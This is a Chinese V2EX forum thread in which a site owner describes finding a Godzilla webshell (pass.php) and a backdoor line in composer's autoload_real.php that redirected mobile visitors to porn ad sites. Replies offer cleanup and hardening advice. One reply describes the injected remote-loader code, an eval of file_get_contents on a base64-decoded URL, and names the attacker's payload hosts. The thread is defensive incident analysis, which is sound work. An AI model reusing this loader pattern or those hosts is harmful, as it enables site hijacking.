网站遭劫持了,被注入恶意代码,请教各位大佬如何清除并再次预防?

52 天前
 black9

前两天用户反馈移动端网页访问不正常,一查看发现,特定的路由会触发跳转到黄色广告地址。 如: 网址:https://www.网址.com/edu 在 pc 端正常访问,但在移动端就会被跳转到其他网站上。 如修改路由为/edu123也会跳转,修改为/ed则不会。初步判断关键字为edu

进行排查:

  1. dns污染
    网站都是使用了https,排除
  2. nginx
    通过查看日志以及转发记录,发现/edu 被转发到了 php-cgi ,排除
  3. php
    在排查时在看见 v2 中有人遇到类似的问题,于是照着大佬的思路排查,结果发现每个站都被添加了一个 pass.php 文件。 根据代码内容搜索,是用Godzilla生成的木马脚本。对网络安全这个块不太懂,有没有大佬知道怎么切底清除这个脚本带来的影响?

初步处理尝试:

清除每个站点下的 pass.php 文件,以及相同时间被创建的一些文件。检查 php.ini 文件以及 so 文件是否被修改。没有发现可疑配置后,重启 php 服务再次访问。 结果还是一样会跳转到其他网站。。。

继续排查:

查看 php 慢日志时,发现请求网页时有执行file_get_contents函数,于是循着文件路径查看,找到了罪魁祸首,项目composer下的autoload_real.php被植入了一行代码,删除掉后网址恢复正常。

疑问请求:

请问这是利用了 composer 的漏洞吗? composer 的版本是 2.3.7? 然后被植入 pass.php 的文件是不是宝塔的漏洞导致被上传的?因为我看到这些文件都是 www 宝塔用户上传的。

4431 次点击
所在节点    PHP
48 条回复
pikko
52 天前
改密码,或者关闭外网访问后台
不访问的时候关闭 22 端口
cctv180
52 天前
我比较菜,装了宝塔自动备份,翻车了直接恢复备份🤣,找人从织梦转到 PbootCMS 然后让搞了几次。后面把管理密码和入口换了就行。
BeforeTooLate
52 天前
1.先排查 ssh 是否设置了禁止 root 登录,和只用密钥登录
2.下载到本地用第三方杀毒软件排查下是否包含一句话木马
relsoul
52 天前
明显是有漏洞,不解决 0day 很难,如果是用开源的程序 那就更新 version ,如果用的随便买来的源码 那就自求多福做代码审计。建议做 docker 隔离,不至于一个站点 g 了 其他关联网站全 g 了
GG5332
52 天前
看看是不是这个问题,CVE-2024-4577
GoldenMan
52 天前
上 WAF
googlefans
52 天前
用虚拟主机
mark2025
52 天前
看看这个
t/1056428
t/1060326
weirdo
52 天前
直观的看网页跳转的问题是在 composer_real.php 里。
正常的文件里是没有 第一行 ini_set 和 eval()这两个操作的。
ini_set 是把报错关了,然后 eval('?>'.file_get_contents(base64_decode('xxxx'))) 这个是在从远程获取 php 代码,根据你图里的 base64 解了下 地址是这个 http://8.jsc20244.com:81/jsc/529kaiwen.txt ,这个 txt 里放着 php 代码,这段代码最后的操作能看到用 curl 访问了另一个地址( http://529.jsc20244.com:81/502.php),这个地址放在浏览器里显示 404 ,在 chrome 里用 f12 伪装成移动端浏览器,就会显示页面,“请使用 手机 设备打开”,可能就是你说的移动端跳转的地址。
至于这个 composer_real.php 文件怎么被搞的,就不知道了,列两个可能性:
1. 用户上传的 php 程序中,composer 被植入了 eval()那坨代码。
2. 你服务器被搞了,然后别人在 composer 里植入了恶意代码,比如通过你说的 pass.php 这样的一句话后门
coderzhangsan
52 天前
我在 v2 看到很多这样的案例,无一例外都是用宝塔部署的,生产环境建议还是自己部署吧,慎用一些开源的一键部署软件。
helionzzz
52 天前
宝塔建议把 BasicAuth 认证开了
proxytoworld
52 天前
哥斯拉后门
black9
52 天前
@pikko 后台的使用频率还是挺高的,不太适合关闭
black9
52 天前
@cctv180 🤣被人留了后门吗
black9
52 天前
@BeforeTooLate 感谢 我试试
black9
52 天前
@relsoul 基本用的都是开源 后面考虑用 docker
jenson47
52 天前
后台不对外的话,就用隧道或者登录加上 otp
宝塔严禁对外开放端口,使用隧道访问即可
black9
52 天前
@GG5332 这个好像是 win 上的漏洞,我服务器用的 centos
black9
52 天前
@weirdo 对 就是比较奇怪怎么被注入的到 composer_real 这个文件里的
black9
52 天前
@coderzhangsan 是啊 但是站点太多了 宝塔部署起来还是方便一点🤣

这是一个专为移动设备优化的页面(即为了让你能够在 Google 搜索结果里秒开这个页面),如果你希望参与 V2EX 社区的讨论,你可以继续到 V2EX 上打开本讨论主题的完整版本。

https://www.v2ex.com/t/1060934

V2EX 是创意工作者们的社区,是一个分享自己正在做的有趣事物、交流想法,可以遇见新朋友甚至新机会的地方。

V2EX is a community of developers, designers and creative people.

© 2021 V2EX